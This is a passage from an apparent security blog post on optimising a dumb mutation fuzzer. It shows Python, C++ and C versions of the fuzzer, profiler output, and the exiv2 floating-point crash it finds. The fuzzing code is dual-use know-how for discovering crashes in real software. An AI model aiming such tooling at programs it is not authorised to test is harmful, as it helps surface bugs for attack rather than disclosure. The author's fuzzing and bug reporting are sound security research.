     1000    0.011    0.000    7.491    0.007 spawnbase.py:240(expect)
     1000    0.036    0.000    7.479    0.007 spawnbase.py:343(expect_list)
     1000    0.128    0.000    7.409    0.007 expect.py:91(expect_loop)
     6432    6.473    0.001    6.473    0.001 {built-in method posix.read}
     5432    0.089    0.000    3.818    0.001 pty_spawn.py:415(read_nonblocking)
     7348    0.029    0.000    3.162    0.000 utils.py:130(select_ignore_interrupts)
     7348    3.127    0.000    3.127    0.000 {built-in method select.select}
     1000    0.790    0.001    1.777    0.002 blog.py:15(bit_flip)
     1000    0.015    0.000    1.311    0.001 blog.py:134(create_new)
     1000    0.100    0.000    1.101    0.001 pty.py:79(fork)
     1000    1.000    0.001    1.000    0.001 {built-in method posix.forkpty}
-----SNIP-----

For this type of analysis, we don’t really care about how many segfaults we had since we’re not really tinkering much with the mutation methods or comparing different methods. Granted there will be some randomness here, as a crash would necessitate extra processing, but this will do for now.

I snipped only the sections of code where we spent more than 1.0 seconds cumulatively. You can see we spent by far the most time in blog.py:140(exif). A whopping 118 seconds out of 122 seconds total. Our exif() function seems to be a major problem in our performance.

We can see that most of the time we spent underneath that function was directly related to the function, we see plenty of appeals to the pty module from our pexpect usage. Let’s rewrite our function using Popen from the subprocess module and see if we can improve performance here!

Here is our redefined exif() function:

def exif(counter,data):

    p = Popen(["exif", "mutated.jpg", "-verbose"], stdout=PIPE, stderr=PIPE)
    (out,err) = p.communicate()

    if p.returncode == -11:
    	f = open("crashes2/crash.{}.jpg".format(str(counter)), "ab+")
    	f.write(data)
    	print("Segfault!")

    #if counter % 100 == 0:
    #	print(counter, end="\r")

Here is our performance report:

2065580 function calls (2065443 primitive calls) in 2.756 seconds

   Ordered by: cumulative time

   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
     15/1    0.000    0.000    2.756    2.756 {built-in method builtins.exec}
        1    0.038    0.038    2.756    2.756 subpro.py:3(<module>)
     1000    0.020    0.000    1.917    0.002 subpro.py:139(exif)
     1000    0.026    0.000    1.121    0.001 subprocess.py:681(__init__)
     1000    0.099    0.000    1.045    0.001 subprocess.py:1412(_execute_child)
 -----SNIP-----

What a difference. This fuzzer, with the redefined exif() function performed the same amount of work in only 2 seconds!! That’s insane! The old fuzzer: 122 seconds, new fuzzer: 2.7 seconds.

Improving Further in Python

Let’s try to continue improving our fuzzer all within Python. First, let’s get a good benchmark for us to perform against. We’ll get our optimized Python fuzzer to iterate through 50,000 fuzzing iterations and we’ll use the cProfile module again to get some fine-grained statistics about where we spend our time.

102981395 function calls (102981258 primitive calls) in 141.488 seconds

   Ordered by: cumulative time

   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
     15/1    0.000    0.000  141.488  141.488 {built-in method builtins.exec}
        1    1.724    1.724  141.488  141.488 subpro.py:3(<module>)
    50000    0.992    0.000  102.588    0.002 subpro.py:139(exif)
    50000    1.248    0.000   61.562    0.001 subprocess.py:681(__init__)
    50000    5.034    0.000   57.826    0.001 subprocess.py:1412(_execute_child)
    50000    0.437    0.000   39.586    0.001 subprocess.py:920(communicate)
    50000    2.527    0.000   39.064    0.001 subprocess.py:1662(_communicate)
   208254   37.508    0.000   37.508    0.000 {built-in method posix.read}
   158238    0.577    0.000   28.809    0.000 selectors.py:402(select)
   158238   28.131    0.000   28.131    0.000 {method 'poll' of 'select.poll' objects}
    50000   11.784    0.000   25.819    0.001 subpro.py:14(bit_flip)
  7950000    3.666    0.000   10.431    0.000 random.py:256(choice)
    50000    8.421    0.000    8.421    0.000 {built-in method _posixsubprocess.fork_exec}
    50000    0.162    0.000    7.358    0.000 subpro.py:133(create_new)
  7950000    4.096    0.000    6.130    0.000 random.py:224(_randbelow)
   203090    5.016    0.000    5.016    0.000 {built-in method io.open}
    50000    4.211    0.000    4.211    0.000 {method 'close' of '_io.BufferedRandom' objects}
    50000    1.643    0.000    4.194    0.000 os.py:617(get_exec_path)
    50000    1.733    0.000    3.356    0.000 subpro.py:8(get_bytes)
 35866791    2.635    0.000    2.635    0.000 {method 'append' of 'list' objects}
   100000    0.070    0.000    1.960    0.000 subprocess.py:1014(wait)
   100000    0.252    0.000    1.902    0.000 selectors.py:351(register)
   100000    0.444    0.000    1.890    0.000 subprocess.py:1621(_wait)
   100000    0.675    0.000    1.583    0.000 selectors.py:234(register)
   350000    0.432    0.000    1.501    0.000 subprocess.py:1471(<genexpr>)
 12074141    1.434    0.000    1.434    0.000 {method 'getrandbits' of '_random.Random' objects}
    50000    0.059    0.000    1.358    0.000 subprocess.py:1608(_try_wait)
    50000    1.299    0.000    1.299    0.000 {built-in method posix.waitpid}
   100000    0.488    0.000    1.058    0.000 os.py:674(__getitem__)
   100000    1.017    0.000    1.017    0.000 {method 'close' of '_io.BufferedReader' objects}
-----SNIP-----

50,000 iterations took us a grand total of 141 seconds, this is great performance compared to what we were dealing with. We previously took 122 seconds to do 1,000 iterations! Once again filtering on only time where we spent over 1.0 seconds, we see that we again spent most of our time in exif() but we also see some performance issues in bit_flip() as we spent 25 cumulative seconds there. Let’s try to optimize that function a bit.

Let’s go ahead and repost what the old bit_flip() function looked like:

def bit_flip(data):

	num_of_flips = int((len(data) - 4) * .01)

	indexes = range(4, (len(data) - 4))

	chosen_indexes = []

	# iterate selecting indexes until we've hit our num_of_flips number
	counter = 0
	while counter < num_of_flips:
		chosen_indexes.append(random.choice(indexes))
		counter += 1

	for x in chosen_indexes:
		current = data[x]
		current = (bin(current).replace("0b",""))
		current = "0" * (8 - len(current)) + current
		
		indexes = range(0,8)

		picked_index = random.choice(indexes)

		new_number = []

		# our new_number list now has all the digits, example: ['1', '0', '1', '0', '1', '0', '1', '0']
		for i in current:
			new_number.append(i)

		# if the number at our randomly selected index is a 1, make it a 0, and vice versa
		if new_number[picked_index] == "1":
			new_number[picked_index] = "0"
		else:
			new_number[picked_index] = "1"

		# create our new binary string of our bit-flipped number
		current = ''
		for i in new_number:
			current += i

		# convert that string to an integer
		current = int(current,2)

		# change the number in our byte array to our new number we just constructed
		data[x] = current

	return data

This function is admittedly a bit clumsy. We can simplify it greatly by utilizing better logic. I find this is often the case with programming in my limited experience, you can have all of the fancy esoteric programming knowledge you want, but if the logic behind your program is unsound, then the program’s performance will suffer.

Let’s reduce the amount of type conversions we do, for instance ints to str or vice versa, and let’s just get less code into our editor. We can accomplish what we want with a re-defined bit_flip() function as follows:

def bit_flip(data):

	length = len(data) - 4

	num_of_flips = int(length * .01)

	picked_indexes = []
	
	flip_array = [1,2,4,8,16,32,64,128]

	counter = 0
	while counter < num_of_flips:
		picked_indexes.append(random.choice(range(0,length)))
		counter += 1


	for x in picked_indexes:
		mask = random.choice(flip_array)
		data[x] = data[x] ^ mask

	return data

If we employ this new function and monitor the results, we get a performance grade of:

59376275 function calls (59376138 primitive calls) in 135.582 seconds

   Ordered by: cumulative time

   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
     15/1    0.000    0.000  135.582  135.582 {built-in method builtins.exec}
        1    1.940    1.940  135.582  135.582 subpro.py:3(<module>)
    50000    0.978    0.000  107.857    0.002 subpro.py:111(exif)
    50000    1.450    0.000   64.236    0.001 subprocess.py:681(__init__)
    50000    5.566    0.000   60.141    0.001 subprocess.py:1412(_execute_child)
    50000    0.534    0.000   42.259    0.001 subprocess.py:920(communicate)
    50000    2.827    0.000   41.637    0.001 subprocess.py:1662(_communicate)
   199549   38.249    0.000   38.249    0.000 {built-in method posix.read}
   149537    0.555    0.000   30.376    0.000 selectors.py:402(select)
   149537   29.722    0.000   29.722    0.000 {method 'poll' of 'select.poll' objects}
    50000    3.993    0.000   14.471    0.000 subpro.py:14(bit_flip)
  7950000    3.741    0.000   10.316    0.000 random.py:256(choice)
    50000    9.973    0.000    9.973    0.000 {built-in method _posixsubprocess.fork_exec}
    50000    0.163    0.000    7.034    0.000 subpro.py:105(create_new)
  7950000    3.987    0.000    5.952    0.000 random.py:224(_randbelow)
   202567    4.966    0.000    4.966    0.000 {built-in method io.open}
    50000    4.042    0.000    4.042    0.000 {method 'close' of '_io.BufferedRandom' objects}
    50000    1.539    0.000    3.828    0.000 os.py:617(get_exec_path)
    50000    1.843    0.000    3.607    0.000 subpro.py:8(get_bytes)
   100000    0.074    0.000    2.133    0.000 subprocess.py:1014(wait)
   100000    0.463    0.000    2.059    0.000 subprocess.py:1621(_wait)
   100000    0.274    0.000    2.046    0.000 selectors.py:351(register)
   100000    0.782    0.000    1.702    0.000 selectors.py:234(register)
    50000    0.055    0.000    1.507    0.000 subprocess.py:1608(_try_wait)
    50000    1.452    0.000    1.452    0.000 {built-in method posix.waitpid}
   350000    0.424    0.000    1.436    0.000 subprocess.py:1471(<genexpr>)
 12066317    1.339    0.000    1.339    0.000 {method 'getrandbits' of '_random.Random' objects}
   100000    0.466    0.000    1.048    0.000 os.py:674(__getitem__)
   100000    1.014    0.000    1.014    0.000 {method 'close' of '_io.BufferedReader' objects}
-----SNIP-----

As you can see from the metrics, we only spend 14 cumulative seconds in bit_flip() at this point! In our last go-round, we spent 25 seconds here, this is almost twice as fast at this point. We’re doing a good job of optimizing in my opinion here.

Now that we have our ideal Python benchmark (keep in mind there might be opportunities for multi-processing or multi-threading but let’s save this idea for another time), let’s go ahead and port our fuzzer to a new language, C++ and test the performance.

New Fuzzer in C++

To get started, let’s just go ahead and flat out run our newly optimized python fuzzer through 100,000 fuzzing iterations and see how long in total it takes.

118749892 function calls (118749755 primitive calls) in 256.881 seconds

100k iterations in only 256 seconds! That destroys our previous fuzzer.

That will be our benchmark we try to beat in C++. Now, as unfamiliar as I am with the nuances of Python development, multiply that by 10 and you’ll have my unfamiliarity with C++. This code might be laughable to some, but it’s the best I could manage at the present moment and we can explain each function as it relates to our previous Python code.

Let’s go through, function by function, and describe their implementation.

//
// this function simply creates a stream by opening a file in binary mode;
// finds the end of file, creates a string 'data', resizes data to be the same
// size as the file moves the file pointer back to the beginning of the file;
// reads the data from the into the data string;
//
std::string get_bytes(std::string filename)
{
	std::ifstream fin(filename, std::ios::binary);

	if (fin.is_open())
	{
		fin.seekg(0, std::ios::end);
		std::string data;
		data.resize(fin.tellg());
		fin.seekg(0, std::ios::beg);
		fin.read(&data[0], data.size());

		return data;
	}

	else
	{
		std::cout << "Failed to open " << filename << ".\n";
		exit(1);
	}

}

This function, as my comment says, simply retrives a byte string from our target file, which in the case of our testing will still be Canon_40D.jpg.

//
// this will take 1% of the bytes from our valid jpeg and
// flip a random bit in the byte and return the altered string
//
std::string bit_flip(std::string data)
{
	
	int size = (data.length() - 4);
	int num_of_flips = (int)(size * .01);

	// get a vector full of 1% of random byte indexes
	std::vector<int> picked_indexes;
	for (int i = 0; i < num_of_flips; i++)
	{
		int picked_index = rand() % size;
		picked_indexes.push_back(picked_index);
	}

	// iterate through the data string at those indexes and flip a bit
	for (int i = 0; i < picked_indexes.size(); ++i)
	{
		int index = picked_indexes[i];
		char current = data.at(index);
		int decimal = ((int)current & 0xff);
		
		int bit_to_flip = rand() % 8;
		
		decimal ^= 1 << bit_to_flip;
		decimal &= 0xff;
		
		data[index] = (char)decimal;
	}

	return data;

}

This function is a direct equivalent of our bit_flip() function in our Python script.

//
// takes mutated string and creates new jpeg with it;
//
void create_new(std::string mutated)
{
	std::ofstream fout("mutated.jpg", std::ios::binary);

	if (fout.is_open())
	{
		fout.seekp(0, std::ios::beg);
		fout.write(&mutated[0], mutated.size());
	}
	else
	{
		std::cout << "Failed to create mutated.jpg" << ".\n";
		exit(1);
	}

}

This function will simply create a temporary mutated.jpg file, similar to our create_new() function that we had in the Python script.

//
// function to run a system command and store the output as a string;
// https://www.jeremymorgan.com/tutorials/c-programming/how-to-capture-the-output-of-a-linux-command-in-c/
//
std::string get_output(std::string cmd)
{
	std::string output;
	FILE * stream;
	char buffer[256];

	stream = popen(cmd.c_str(), "r");
	if (stream)
	{
		while (!feof(stream))
			if (fgets(buffer, 256, stream) != NULL) output.append(buffer);
				pclose(stream);
	}

	return output;

}

//
// we actually run our exiv2 command via the get_output() func;
// retrieve the output in the form of a string and then we can parse the string;
// we'll save all the outputs that result in a segfault or floating point except;
//
void exif(std::string mutated, int counter)
{
	std::string command = "exif mutated.jpg -verbose 2>&1";

	std::string output = get_output(command);

	std::string segfault = "Segmentation";
	std::string floating_point = "Floating";

	std::size_t pos1 = output.find(segfault);
	std::size_t pos2 = output.find(floating_point);

	if (pos1 != -1)
	{
		std::cout << "Segfault!\n";
		std::ostringstream oss;
		oss << "/root/cppcrashes/crash." << counter << ".jpg";
		std::string filename = oss.str();
		std::ofstream fout(filename, std::ios::binary);

		if (fout.is_open())
			{
				fout.seekp(0, std::ios::beg);
				fout.write(&mutated[0], mutated.size());
			}
		else
		{
			std::cout << "Failed to create " << filename << ".jpg" << ".\n";
			exit(1);
		}
	}
	else if (pos2 != -1)
	{
		std::cout << "Floating Point!\n";
		std::ostringstream oss;
		oss << "/root/cppcrashes/crash." << counter << ".jpg";
		std::string filename = oss.str();
		std::ofstream fout(filename, std::ios::binary);

		if (fout.is_open())
			{
				fout.seekp(0, std::ios::beg);
				fout.write(&mutated[0], mutated.size());
			}
		else
		{
			std::cout << "Failed to create " << filename << ".jpg" << ".\n";
			exit(1);
		}
	}
}

These two functions work together. get_output takes a C++ string as a parameter and will run that command on the operating system and capture the output. The function then returns the output as a string to the calling function exif().

exif() will take the output and look for Segmentation fault or Floating point exception errors and then if found, will write those bytes to a file and save them as a crash.<counter>.jpg file. Very similar to our Python fuzzer.

//
// simply generates a vector of strings that are our 'magic' values;
//
std::vector<std::string> vector_gen()
{
	std::vector<std::string> magic;

	using namespace std::string_literals;

	magic.push_back("\xff");
	magic.push_back("\x7f");
	magic.push_back("\x00"s);
	magic.push_back("\xff\xff");
	magic.push_back("\x7f\xff");
	magic.push_back("\x00\x00"s);
	magic.push_back("\xff\xff\xff\xff");
	magic.push_back("\x80\x00\x00\x00"s);
	magic.push_back("\x40\x00\x00\x00"s);
	magic.push_back("\x7f\xff\xff\xff");

	return magic;
}

//
// randomly picks a magic value from the vector and overwrites that many bytes in the image;
//
std::string magic(std::string data, std::vector<std::string> magic)
{
	
	int vector_size = magic.size();
	int picked_magic_index = rand() % vector_size;
	std::string picked_magic = magic[picked_magic_index];
	int size = (data.length() - 4);
	int picked_data_index = rand() % size;
	data.replace(picked_data_index, magic[picked_magic_index].length(), magic[picked_magic_index]);

	return data;

}

//
// returns 0 or 1;
//
int func_pick()
{
	int result = rand() % 2;

	return result;
}

These functions are pretty similar to our Python implementation as well. vector_gen() pretty much just creates our vector of ‘magic values’ and then subsequent functions like magic() use the vector to randomly pick an index and then overwrite data in the valid jpeg with mutated data accordingly.

func_pick() is very simple and just returns a 0 or a 1 so that our fuzzer can randomly bit_flip() or magic() mutate our valid jpeg. To keep things consistent, let’s have our fuzzer only choose bit_flip() for the time being by adding a temporary line of function = 1 to our program so that we match our Python testing.

Here is our main() function which executes all of our code so far:

int main(int argc, char** argv)
{

	if (argc < 3)
	{
		std::cout << "Usage: ./cppfuzz <valid jpeg> <number_of_fuzzing_iterations>\n";
		std::cout << "Usage: ./cppfuzz Canon_40D.jpg 10000\n";
		return 1;
	}

	// start timer
	auto start = std::chrono::high_resolution_clock::now();

	// initialize our random seed
	srand((unsigned)time(NULL));

	// generate our vector of magic numbers
	std::vector<std::string> magic_vector = vector_gen();

	std::string filename = argv[1];
	int iterations = atoi(argv[2]);

	int counter = 0;
	while (counter < iterations)
	{

		std::string data = get_bytes(filename);

		int function = func_pick();
		function = 1;
		if (function == 0)
		{
			// utilize the magic mutation method; create new jpg; send to exiv2
			std::string mutated = magic(data, magic_vector);
			create_new(mutated);
			exif(mutated,counter);
			counter++;
		}
		else
		{
			// utilize the bit flip mutation; create new jpg; send to exiv2
			std::string mutated = bit_flip(data);
			create_new(mutated);
			exif(mutated,counter);
			counter++;
		}
	}

	// stop timer and print execution time
	auto stop = std::chrono::high_resolution_clock::now();
	auto duration = std::chrono::duration_cast<std::chrono::milliseconds>(stop - start);
	std::cout << "Execution Time: " << duration.count() << "ms\n";

	return 0;
}

We get a valid JPEG to mutate and a number of fuzzing iterations from the command line arguments. We then have some timing mechanisms in place with the std::chrono namespace to time how long our program takes to execute.

We’re kind of cheating here by only selecting bit_flip() type mutations, but that is what we did in Python as well so we want an ‘Apples to Apples’ comparison.

Let’s go ahead and run this for 100,000 iterations and compare it our Python fuzzer benchmark of 256 seconds.

Once we run our C++ fuzzer, we get a printed time spent in milleseconds of: Execution Time: 172638ms or 172 seconds.

So we comfortably destroyed our Python fuzzer with our new C++ fuzzer! This is so exciting. Let’s go ahead and do some math here: 172/256 = 67%. So we’re roughly 33% faster with our C++ implementation. (God I hope you aren’t some 200 IQ math genius reading this and throwing up on your keyboard).

Let’s take our optimized Python and C++ fuzzers and take on a new target!

Selecting a New Victim

Looking at what comes pre-installed on Kali Linux since that’s our operating environment, let’s take a peek at exiv2 which is found in /usr/bin/exiv2.

[email protected]:~# exiv2 -h
Usage: exiv2 [ options ] [ action ] file ...

Manipulate the Exif metadata of images.

Actions:
  ad | adjust   Adjust Exif timestamps by the given time. This action
                requires at least one of the -a, -Y, -O or -D options.
  pr | print    Print image metadata.
  rm | delete   Delete image metadata from the files.
  in | insert   Insert metadata from corresponding *.exv files.
                Use option -S to change the suffix of the input files.
  ex | extract  Extract metadata to *.exv, *.xmp and thumbnail image files.
  mv | rename   Rename files and/or set file timestamps according to the
                Exif create timestamp. The filename format can be set with
                -r format, timestamp options are controlled with -t and -T.
  mo | modify   Apply commands to modify (add, set, delete) the Exif and
                IPTC metadata of image files or set the JPEG comment.
                Requires option -c, -m or -M.
  fi | fixiso   Copy ISO setting from the Nikon Makernote to the regular
                Exif tag.
  fc | fixcom   Convert the UNICODE Exif user comment to UCS-2. Its current
                character encoding can be specified with the -n option.

Options:
   -h      Display this help and exit.
   -V      Show the program version and exit.
   -v      Be verbose during the program run.
   -q      Silence warnings and error messages during the program run (quiet).
   -Q lvl  Set log-level to d(ebug), i(nfo), w(arning), e(rror) or m(ute).
   -b      Show large binary values.
   -u      Show unknown tags.
   -g key  Only output info for this key (grep).
   -K key  Only output info for this key (exact match).
   -n enc  Charset to use to decode UNICODE Exif user comments.
   -k      Preserve file timestamps (keep).
   -t      Also set the file timestamp in 'rename' action (overrides -k).
   -T      Only set the file timestamp in 'rename' action, do not rename
           the file (overrides -k).
   -f      Do not prompt before overwriting existing files (force).
   -F      Do not prompt before renaming files (Force).
   -a time Time adjustment in the format [-]HH[:MM[:SS]]. This option
           is only used with the 'adjust' action.
   -Y yrs  Year adjustment with the 'adjust' action.
   -O mon  Month adjustment with the 'adjust' action.
   -D day  Day adjustment with the 'adjust' action.
   -p mode Print mode for the 'print' action. Possible modes are:
             s : print a summary of the Exif metadata (the default)
             a : print Exif, IPTC and XMP metadata (shortcut for -Pkyct)
             t : interpreted (translated) Exif data (-PEkyct)
             v : plain Exif data values (-PExgnycv)
             h : hexdump of the Exif data (-PExgnycsh)
             i : IPTC data values (-PIkyct)
             x : XMP properties (-PXkyct)
             c : JPEG comment
             p : list available previews
             S : print structure of image
             X : extract XMP from image
   -P flgs Print flags for fine control of tag lists ('print' action):
             E : include Exif tags in the list
             I : IPTC datasets
             X : XMP properties
             x : print a column with the tag number
             g : group name
             k : key
             l : tag label
             n : tag name
             y : type
             c : number of components (count)
             s : size in bytes
             v : plain data value
             t : interpreted (translated) data
             h : hexdump of the data
   -d tgt  Delete target(s) for the 'delete' action. Possible targets are:
             a : all supported metadata (the default)
             e : Exif section
             t : Exif thumbnail only
             i : IPTC data
             x : XMP packet
             c : JPEG comment
   -i tgt  Insert target(s) for the 'insert' action. Possible targets are
           the same as those for the -d option, plus a modifier:
             X : Insert metadata from an XMP sidecar file <file>.xmp
           Only JPEG thumbnails can be inserted, they need to be named
           <file>-thumb.jpg
   -e tgt  Extract target(s) for the 'extract' action. Possible targets
           are the same as those for the -d option, plus a target to extract
           preview images and a modifier to generate an XMP sidecar file:
             p[<n>[,<m> ...]] : Extract preview images.
             X : Extract metadata to an XMP sidecar file <file>.xmp
   -r fmt  Filename format for the 'rename' action. The format string
           follows strftime(3). The following keywords are supported:
             :basename:   - original filename without extension
             :dirname:    - name of the directory holding the original file
             :parentname: - name of parent directory
           Default filename format is %Y%m%d_%H%M%S.
   -c txt  JPEG comment string to set in the image.
   -m file Command file for the modify action. The format for commands is
           set|add|del <key> [[<type>] <value>].
   -M cmd  Command line for the modify action. The format for the
           commands is the same as that of the lines of a command file.
   -l dir  Location (directory) for files to be inserted from or extracted to.
   -S .suf Use suffix .suf for source files for insert command.

Looking at the help guidance, let’s just go ahead and randomly take a crack at pr for Print image metadata and also -v for Be verbose during the program run. You can see from this help guidance that there is plenty of attack surface here for us explore but let’s keep things simple for now.

Our command string now in our fuzzers will be something like exiv2 pr -v mutated.jpg.

Let’s go ahead and update our fuzzers and see if we can find some more bugs on a much harder target. It’s worth mentioning that this target is currently supported, and not a trivial binary for us to find bugs on like our last target (an unsupported 7 year old project on Github).

This target has already been fuzzed by much more advanced fuzzers, you can simply google for something like ‘ASan exiv2’ and get plenty of hits of fuzzers creating segfaults in the binary and forwarding the ASan output to the github repository as a bug. This is a significant step up from our last target.

exiv2 on Github

exiv2 Website

Fuzzing Our New Target

Let’s start off with our new and improved Python fuzzer and monitor it’s performance over 50,000 iterations. Let’s add some code that monitors for Floating point exceptions in addition to our Segmentation fault detection (Call it a hunch!). Our new exif() function will look like this:

def exif(counter,data):

    p = Popen(["exiv2", "pr", "-v", "mutated.jpg"], stdout=PIPE, stderr=PIPE)
    (out,err) = p.communicate()

    if p.returncode == -11:
    	f = open("crashes2/crash.{}.jpg".format(str(counter)), "ab+")
    	f.write(data)
    	print("Segfault!")

    elif p.returncode == -8:
    	f = open("crashes2/crash.{}.jpg".format(str(counter)), "ab+")
    	f.write(data)
    	print("Floating Point!")

Looking at the output from python3 -m cProfile -s cumtime subpro.py ~/jpegs/Canon_40D.jpg:

75780446 function calls (75780309 primitive calls) in 213.595 seconds

   Ordered by: cumulative time

   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
     15/1    0.000    0.000  213.595  213.595 {built-in method builtins.exec}
        1    1.481    1.481  213.595  213.595 subpro.py:3(<module>)
    50000    0.818    0.000  187.205    0.004 subpro.py:111(exif)
    50000    0.543    0.000  143.499    0.003 subprocess.py:920(communicate)
    50000    6.773    0.000  142.873    0.003 subprocess.py:1662(_communicate)
  1641352    3.186    0.000  122.668    0.000 selectors.py:402(select)
  1641352  118.799    0.000  118.799    0.000 {method 'poll' of 'select.poll' objects}
    50000    1.220    0.000   42.888    0.001 subprocess.py:681(__init__)
    50000    4.400    0.000   39.364    0.001 subprocess.py:1412(_execute_child)
  1691919   25.759    0.000   25.759    0.000 {built-in method posix.read}
    50000    3.863    0.000   13.938    0.000 subpro.py:14(bit_flip)
  7950000    3.587    0.000    9.991    0.000 random.py:256(choice)
    50000    7.495    0.000    7.495    0.000 {built-in method _posixsubprocess.fork_exec}
    50000    0.148    0.000    7.081    0.000 subpro.py:105(create_new)
  7950000    3.884    0.000    5.764    0.000 random.py:224(_randbelow)
   200000    4.582    0.000    4.582    0.000 {built-in method io.open}
    50000    4.192    0.000    4.192    0.000 {method 'close' of '_io.BufferedRandom' objects}
    50000    1.339    0.000    3.612    0.000 os.py:617(get_exec_path)
    50000    1.641    0.000    3.309    0.000 subpro.py:8(get_bytes)
   100000    0.077    0.000    1.822    0.000 subprocess.py:1014(wait)
   100000    0.432    0.000    1.746    0.000 subprocess.py:1621(_wait)
   100000    0.256    0.000    1.735    0.000 selectors.py:351(register)
   100000    0.619    0.000    1.422    0.000 selectors.py:234(register)
   350000    0.380    0.000    1.402    0.000 subprocess.py:1471(<genexpr>)
 12066004    1.335    0.000    1.335    0.000 {method 'getrandbits' of '_random.Random' objects}
    50000    0.063    0.000    1.222    0.000 subprocess.py:1608(_try_wait)
    50000    1.160    0.000    1.160    0.000 {built-in method posix.waitpid}
   100000    0.519    0.000    1.143    0.000 os.py:674(__getitem__)
  1691352    0.902    0.000    1.097    0.000 selectors.py:66(__len__)
  7234121    1.023    0.000    1.023    0.000 {method 'append' of 'list' objects}
-----SNIP-----

It appears we took 213 seconds total and didn’t really find any bugs, that’s a shame, but could just be luck. Let’s run our C++ fuzzer in the same exact circumstances and monitor the output.

Here we go, we get a similiar time but much improved:

[email protected]:~# ./blogcpp ~/jpegs/Canon_40D.jpg 50000
Execution Time: 170829ms

That’s a pretty significant improvement, 43 seconds. That’s 20% off of our Python time. (Again, I apologize to math people.)

Let’s keep our C++ fuzzer running for a bit and see if we find any bugs :).

Bugs on Our New Target!

After maybe 10 seconds of running the fuzzer again, I got this terminal output:

[email protected]:~# ./blogcpp ~/jpegs/Canon_40D.jpg 1000000
Floating Point!

It appears we have satisfied requirements for a Floating Point exception. We should have a nice jpg waiting for us in the cppcrashes directory.

[email protected]:~/cppcrashes# ls
crash.522.jpg

Let’s confirm the bug by running exiv2 against this sample:

[email protected]:~/cppcrashes# exiv2 pr -v crash.522.jpg
File 1/1: crash.522.jpg
Error: Offset of directory Image, entry 0x011b is out of bounds: Offset = 0x080000ae; truncating the entry
Warning: Directory Image, entry 0x8825 has unknown Exif (TIFF) type 68; setting type size 1.
Warning: Directory Image, entry 0x8825 doesn't look like a sub-IFD.
File name       : crash.522.jpg
File size       : 7958 Bytes
MIME type       : image/jpeg
Image size      : 100 x 68
Camera make     : Aanon
Camera model    : Canon EOS 40D
Image timestamp : 2008:05:30 15:56:01
Image number    : 
Exposure time   : 1/160 s
Aperture        : F7.1
Floating point exception

We indeed found a new bug! This is super exciting. We should issue a bug report to the exiv2 developers on Github.

Conclusion

We first optimized our fuzzer in Python and then rewrote it in C++. We gained some massive performance advantages and even found some new bugs on a new harder target.

For some fun, let’s compare our original fuzzer’s performance for 50,000 iterations:

123052109 function calls (123001828 primitive calls) in 6243.939 seconds

As you can see, 6,243 seconds is significantly slower than our C++ fuzzer benchmark of 170 seconds.

Addendum 15/May/2020

Just playing around with porting the C++ fuzzer to C and I made some modest improvements on my own. One of the logic changes I made was to collect the data from the original valid image only once and then copy that data into a newly allocated buffer each fuzzing iteration and then do the mutation operations on the newly allocated buffer. This C version of basically the same C++ fuzzer performed pretty well compared to the C++ fuzzer. Here is a comparison between the two for 200,000 iterations (you can ignore the crash findings as this fuzzer is extremely dumb and 100% random):

h0mbre:~$ time ./cppfuzz Canon_40D.jpg 200000
<snipped_results>

real    10m45.371s
user    7m14.561s
sys     3m10.529s

h0mbre:~$ time ./cfuzz Canon_40D.jpg 200000
<snipped_results>

real    10m7.686s
user    7m27.503s
sys     2m20.843s

So, over 200,000 iterations we end up saving about 35-40 seconds. This was pretty typical in my testing. So just by the few logic changes and using less C++-provided abstractions we saved a lot of sys time. We increased speed by about 5%.

Monitoring Child Process Exit Status

After completing the C translation, I went to Twitter to ask for suggestions about performance improvements. @lcamtuf, the creator of AFL, explained to me that I shouldn’t be using popen() in my code as it spawns a shell and performs abysmally. Here is the code segment I asked for help on:

void exif(int iteration) {
    
    FILE *fileptr;
    
    //fileptr = popen("exif_bin target.jpeg -verbose >/dev/null 2>&1", "r");
    fileptr = popen("exiv2 pr -v mutated.jpeg >/dev/null 2>&1", "r");

    int status = WEXITSTATUS(pclose(fileptr));
    switch(status) {
        case 253:
            break;
        case 0:
            break;
        case 1:
            break;
        default:
            crashes++;
            printf("\r[>] Crashes: %d", crashes);
            fflush(stdout);
            char command[50];
            sprintf(command, "cp mutated.jpeg ccrashes/crash.%d.%d",
             iteration,status);
            system(command);
            break;
    }
}

As you can see, we use popen(), run a shell-command, and then close the file pointer to the child process and return the exit-status for monitoring with the WEXITSTATUS macro. I was filtering out some exit codes that I didn’t care about like 253, 0, and 1, and was hoping to see some related to the floating point errors we already found with our C++ fuzzer or maybe even a segfault. @lcamtuf suggested that instead of popen(), I call fork() to spawn a child process, execvp() to have the child process execute a command, and then finally use waitpid() to await the child process termination and return the exit status.

Since we don’t have a proper shell in this syscall path, I had to also open a handle to /dev/null and call dup2() to route both stdout and stderr there as we don’t care about the command output. I also used the WTERMSIG macro to retrieve the signal that terminated the child process in the event that the WIFSIGNALED macro returned true, which would indicate we got a segfault or floating point exception, etc. So now, our updated function looks like this:

void exif(int iteration) {
    
    char* file = "exiv2";
    char* argv[4];
    argv[0] = "pr";
    argv[1] = "-v";
    argv[2] = "mutated.jpeg";
    argv[3] = NULL;
    pid_t child_pid;
    int child_status;

    child_pid = fork();
    if (child_pid == 0) {
        // this means we're the child process
        int fd = open("/dev/null", O_WRONLY);

        // dup both stdout and stderr and send them to /dev/null
        dup2(fd, 1);
        dup2(fd, 2);
        close(fd);

        execvp(file, argv);
        // shouldn't return, if it does, we have an error with the command
        printf("[!] Unknown command for execvp, exiting...\n");
        exit(1);
    }
    else {
        // this is run by the parent process
        do {
            pid_t tpid = waitpid(child_pid, &child_status, WUNTRACED |
             WCONTINUED);
            if (tpid == -1) {
                printf("[!] Waitpid failed!\n");
                perror("waitpid");
            }
            if (WIFEXITED(child_status)) {
                //printf("WIFEXITED: Exit Status: %d\n", WEXITSTATUS(child_status));
            } else if (WIFSIGNALED(child_status)) {
                crashes++;
                int exit_status = WTERMSIG(child_status);
                printf("\r[>] Crashes: %d", crashes);
                fflush(stdout);
                char command[50];
                sprintf(command, "cp mutated.jpeg ccrashes/%d.%d", iteration, 
                exit_status);
                system(command);
            } else if (WIFSTOPPED(child_status)) {
                printf("WIFSTOPPED: Exit Status: %d\n", WSTOPSIG(child_status));
            } else if (WIFCONTINUED(child_status)) {
                printf("WIFCONTINUED: Exit Status: Continued.\n");
            }
        } while (!WIFEXITED(child_status) && !WIFSIGNALED(child_status));
    }
}

You can see that this drastically improves performance for our 200,000 iteration benchmark:

